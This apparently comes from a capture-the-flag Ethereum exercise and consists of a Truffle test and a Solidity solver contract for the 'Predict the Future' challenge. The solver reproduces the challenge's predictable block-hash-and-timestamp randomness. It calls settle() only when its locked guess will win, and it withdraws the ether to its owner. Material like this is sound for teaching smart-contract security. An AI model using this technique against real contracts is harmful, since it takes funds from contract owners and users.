PredictTheFutureChallenge.test.js

const PredictTheFutureChallenge = artifacts.require('PredictTheFutureChallenge');
const PredictTheFutureSolver = artifacts.require('PredictTheFutureSolver');

contract('PredictTheFutureSolver', ([account]) => {
  it('should solve the challenge', async () => {
    let challenge = await PredictTheFutureChallenge.new({value: web3.toWei(1, 'ether')});
    let solver = await PredictTheFutureSolver.new();
    let guess = 0;

    await solver.lockInGuess(challenge.address, guess, {value: web3.toWei(1, 'ether')});
    // call withdraw with no effect to go to next block in test
    await solver.withdraw();

    while (! await challenge.isComplete()) {
      console.log("Try guess...");
      await solver.guess(challenge.address, guess);
    }

    assert(
      await challenge.isComplete() === true,
      'Challenge has not been completed!'
    );
  });
});

PredictTheFutureSolver.sol

pragma solidity ^0.4.21;

import "./PredictTheFutureChallenge.sol";

contract PredictTheFutureSolver {
    address owner;

    function PredictTheFutureSolver() public {
        owner = msg.sender;
    }

    function lockInGuess(address _challenge, uint8 n)
    public
    payable {
        require(msg.value == 1 ether);

        PredictTheFutureChallenge challenge = PredictTheFutureChallenge(_challenge);
        challenge.lockInGuess.value(msg.value)(n);
    }

    function guess(address _challenge, uint8 n)
    public
    payable {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        if (answer == n) {
            PredictTheFutureChallenge challenge = PredictTheFutureChallenge(_challenge);
            challenge.settle();
        }
    }

    function ()
    public
    payable {
    }

    function withdraw() public {
        require(msg.sender == owner);
        owner.transfer(address(this).balance);
    }
}